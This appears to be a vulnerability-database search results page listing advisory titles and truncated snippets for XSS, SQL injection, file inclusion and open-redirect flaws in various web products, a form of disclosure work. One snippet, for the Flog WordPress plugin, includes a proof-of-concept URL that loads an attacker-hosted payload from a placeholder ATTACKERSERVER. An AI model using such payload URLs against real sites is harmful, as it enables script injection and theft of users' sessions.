9612 matches found
Juniper Junos SRX Series Web Authentication XSS (JSA10640)
According to its self-reported version number, the remote Junos device is affected by a reflected cross site scripting vulnerability. An attacker can exploit this to steal sensitive information or session credentials from firewall users. Note that this issue only affects devices where Web...
FoeCMS Multiple Vulnerabilities
FoeCMS suffers from cross site scripting, open redirect, and remote SQL injection vulnerabilities. Exploit Title : FoeCMS multiple vulnerability Author : Govind Singh aka NullPort Vendor : http://foecms.com/ Download Link : https://github.com/themarioga/FoeCMS/archive/master.zip Date : 05/07/2014...
Exponent CMS 0.97 - Multiple Vulnerabilities
No description provided by source. Exponent CMS v0.97 Multiple Vulnerabilities Vendor: OIC Group Inc. Product web page: http://www.exponentcms.org Affected version: 0.97 Summary: Open Source Content Management System PHP+MySQL. Desc: Exponent CMS suffers from multiple vulnerabilities: 1. Local Fi...
phreebooks r30rc4 - Multiple Vulnerabilities
No description provided by source. ------------------------------------------------------------------------ Software................PhreeBooks R30RC4 Vulnerability...........Local File Inclusion Download................http://sourceforge.net/projects/phreebooks Release Date............2/22/2011...
Halon Security Router (SR) 3.2-winter-r1 - Multiple Security Vulnerabilities
No description provided by source. ADVISORY INFORMATION Advisory Name: Multiple Security Vulnerabilities in Halon Security Router Date published: 2014-04-07 Vendors contacted: Halon Security http://www.halon.se Researcher: Juan Manuel Garcia http://www.linkedin.com/in/juanmagarcia VULNERABILITIES...
phpmychat plus 1.93 - Multiple Vulnerabilities
No description provided by source. ------------------------------------------------------------------------ Software................phpMyChat Plus 1.93 Vulnerability...........Blind SQL Injection Threat Level............Serious 3/5 Download................http://sourceforge.net/projects/phpmychat...
oscss2 2.1.0 rc12 - Multiple Vulnerabilities
No description provided by source. ------------------------------------------------------------------------ Software................osCSS2 2.1.0 RC12 Vulnerability...........Local File Inclusion Threat Level............Critical 4/5 Download................http://www.oscss.org/ Disclosure...
webedition cms 6.1.0.2 - Multiple Vulnerabilities
No description provided by source. ------------------------------------------------------------------------ Software................Web Edition 6.1.0.2 Vulnerability...........Local File Inclusion Threat Level............Critical 4/5 Download................http://www.webedition.org Vendor Contac...
Yahoo!: TESTING FOR REFLECTED CROSS SITE SCRIPTING (OWASP‐DV‐001)
Thank you for your submission to the Yahoo Bug Bounty program. We were able to reproduce the issue you reported and have implemented appropriate fixes. We appreciate your adherence to responsible disclosure guidelines and look forward to your future participation in the program...
CVE-2014-2570 - php-font-lib 0.3 www/make_subset.php Reflected Cross Site Scripting
========================================================== php-font-lib - Subset maker makesubset.php Reflected Cross-site Scripting Revision 1.0 ========================================================== Author: Daniel C. Marques @0xc0da Release date: 2014-03-23 Reference:...
StopTheHacker: Reflected cross site scripting in login page
It was observed that the application is vulnerable to cross-site scripting XSS. XSS is a type of attack that involves running a malicious scripts on a victim’s browser. Once exploited It is possible to steal or manipulate a legitimate user’s session credentials including session cookies. Request ...
Flog <= 0.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The last time it was checked the plugin was still affected and had been closed. PoC https://www.example.com/wp-content/plugins/flog/silex-plugin-themes/flash-theme/silexserver/cgi/scripts/proxy.php?url=ATTACKERSERVER/test.html With the payload in the test.html file controlled by the attackers...
CUPS < 1.7.2 Reflected Cross-Site Scripting Vulnerability
Binary data 8210.prm...
Halon Security Router (SR) 3.2-winter-r1 - Multiple Vulnerabilities
Halon Security Router SR 3.2-winter-r1 - Multiple Vulnerabilities ADVISORY INFORMATION Advisory Name: Multiple Security Vulnerabilities in Halon Security Router Date published: 2014-04-07 Vendors contacted: Halon Security http://www.halon.se Researcher: Juan Manuel Garcia...
Halon Security Router XSS / CSRF / Open Redirect
ADVISORY INFORMATION Advisory Name: Multiple Security Vulnerabilities in Halon Security Router Date published: 2014-04-07 Vendors contacted: Halon Security http://www.halon.se Researcher: Juan Manuel Garcia http://www.linkedin.com/in/juanmagarcia VULNERABILITIES INFORMATION Vulnerabilities: 1...
IBM WebSphere Portal Tagging Reflected XSS (PM96047)
The version of WebSphere Portal on the remote host is affected by a reflected cross-site scripting vulnerability in the tagging system. An attacker can craft a request that executes arbitrary script code in a user's browser. %NASLMINLEVEL 70300 C Tenable Network Security, Inc...
Webuzo 2.1.3 - Multiple Vulnerabilities
Exploit Title: Webuzo Multiple Vulnerabilities Date: 7 October 2013 Exploit Author: Mahendra Vendor Homepage: www.webuzo.com Software Link: http://downloads.webuzo.com/va.php Version: 2.1.3, other version might be vulnerable. Tested on: CentOS release 6.2 FINAL CVE : CVE-2013-6041, CVE-2013-6042,...
Visa Europe Cross Site Scripting
Visa Europe Official Website Vulnerability ============================================= Published Report: 07/02/2014 Credits: Advanced Information Security Corporation, USA Severity: High/Critical OWASP TOP 10 CVSS: 7.0 Type: Web Application / Reflected Cross-Site Scripting Attack. Author:...
Plogger 1.0 (RC1) - Multiple Vulnerabilities
Exploit for php platform in category web applications Exploit Title: Multiply vulnerabilites in plogger 1.0 RC1 Date: 03/02/2014 Exploit Author: email protected Vendor Homepage: http://www.plogger.org/ Software Link: http://www.plogger.org/download/ Version: 1.0 RC1 Tested on: Virtualbox debian a...
NCH Software Inventoria 3.45 (id param) Reflected Cross-Site Scripting Vulnerability
Summary Inventoria is a business inventory management and stock control software that allows you to manage and monitor your inventory to help streamline your operations and boost profits. Description The application suffers from a reflected XSS issue due to a failure to properly sanitize...